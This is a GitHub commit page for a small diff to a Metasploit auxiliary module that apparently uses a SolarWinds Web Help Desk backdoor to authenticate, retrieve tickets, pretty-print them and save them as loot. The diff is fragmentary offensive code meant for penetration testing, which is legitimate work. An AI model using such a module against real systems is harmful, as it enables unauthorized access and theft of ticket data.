Skip to content

Commit

Permalink
minor improvements
Browse files Browse the repository at this point in the history
minor improvements
  • Loading branch information
h4x-x0r committed Sep 25, 2024
1 parent 5f95b2b commit 174ed4e
Showing 1 changed file with 8 additions and 4 deletions.
12 changes: 8 additions & 4 deletions modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb
Original file line number Diff line number Diff line change
Expand Up @@ -53,11 +53,15 @@ def run
}
)

fail_with(Failure::UnexpectedReply, 'Unexpected Reply') unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected Reply: ' + res.to_s) unless res&.code == 200

json = res.get_json_document
if json.to_s.include?('shortSubject')
print_good('Successfully authenticated and tickets retrieved:' + json.to_s)
body = res.body
if body.include?('shortSubject')
jbody = JSON.parse(body)
print_good('Successfully authenticated and tickets retrieved:')
print_good(JSON.pretty_generate(jbody))
file = store_loot('solarwinds_webhelpdesk.json', 'text/json', datastore['USER'], jbody)
print_good("Saved tickets to #{file}")
end
end
end

0 comments on commit 174ed4e

Please sign in to comment.